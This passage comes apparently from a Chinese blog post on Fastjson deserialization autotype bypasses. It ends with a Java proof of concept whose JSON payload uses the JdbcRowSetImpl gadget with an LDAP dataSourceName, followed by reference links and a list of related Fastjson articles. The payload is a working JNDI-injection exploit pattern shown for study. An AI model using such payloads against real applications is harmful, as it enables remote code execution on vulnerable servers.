                "    }, \n" +
                "    \"rand2\": {\n" +
                "        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
                "        \"dataSourceName\": \"ldap://localhost:1389/Object\", \n" +
                "        \"autoCommit\": true\n" +
                "    }\n" +
                "}";
        JSON.parseObject(payload, Class.class, Feature.SupportNonPublicField);
    }
}

在这里抛砖引玉一下,除了上述的攻击方式,也可利用特性,如L等,做一些绕过,期待大佬更骚的姿势


参考链接


[1]: https://paper.seebug.org/1236/ "浅谈下 Fastjson 的 autotype 绕过" [2]: http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/#v1-2-41 "FastJson 反序列化学习" [3]: https://paper.seebug.org/1192/ "Fastjson 反序列化漏洞史"


相关文章
|
JSON fastjson Java
Fastjson 序列化,反序列化Map对象排序问题(字符串转map,map转字符串)
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/qingfeng812/article/details/61194594 ...
4876 0
|
18天前
|
存储 JSON fastjson
再也不用心惊胆战地使用FastJSON了——序列化篇
本篇将主要介绍json序列化的详细流程。本文阅读的FastJSON源码版本为2.0.31。
|
2月前
|
JSON fastjson Java
niubility!即使JavaBean没有默认无参构造器,fastjson也可以反序列化。- - - - 阿里Fastjson反序列化源码分析
本文详细分析了 Fastjson 反序列化对象的源码(版本 fastjson-1.2.60),揭示了即使 JavaBean 沲有默认无参构造器,Fastjson 仍能正常反序列化的技术内幕。文章通过案例展示了 Fastjson 在不同构造器情况下的行为,并深入探讨了 `ParserConfig#getDeserializer` 方法的核心逻辑。此外,还介绍了 ASM 字节码技术的应用及其在反序列化过程中的角色。
77 10
|
JSON 前端开发 fastjson
fastjson全局序列化坑
fastjson全局序列化坑
94 0
|
前端开发 fastjson
mvc配置fastjson序列化枚举
mvc配置fastjson序列化枚举
120 0
|
存储 JSON fastjson
聊聊fastjson反序列化的那些坑
聊聊fastjson反序列化的那些坑
2880 0
聊聊fastjson反序列化的那些坑
|
缓存 NoSQL Java
最详细 | redis实战:JackSon/FastJson方式序列化深度解析
Jackson2JsonRedisSerializer和FastJsonRedisSerializer的实战应用
3295 0
|
fastjson Java
fastjson全局日期序列化设置导致JSONField无效
fastjson通过代码指定全局序列化返回时间格式,导致使用JSONField注解标注属性的特殊日期返回格式失效
225 0
|
Java fastjson
fastJson序列化与反序列化
fastJson序列化与反序列化
|
JSON fastjson Java
Fastjson反序列化随机性失败
Fastjson作为一款高性能的JSON序列化框架,使用场景众多,不过也存在一些潜在的bug和不足。本文主要讲述了一个具有"随机性"的反序列化错误!
326 0
Fastjson反序列化随机性失败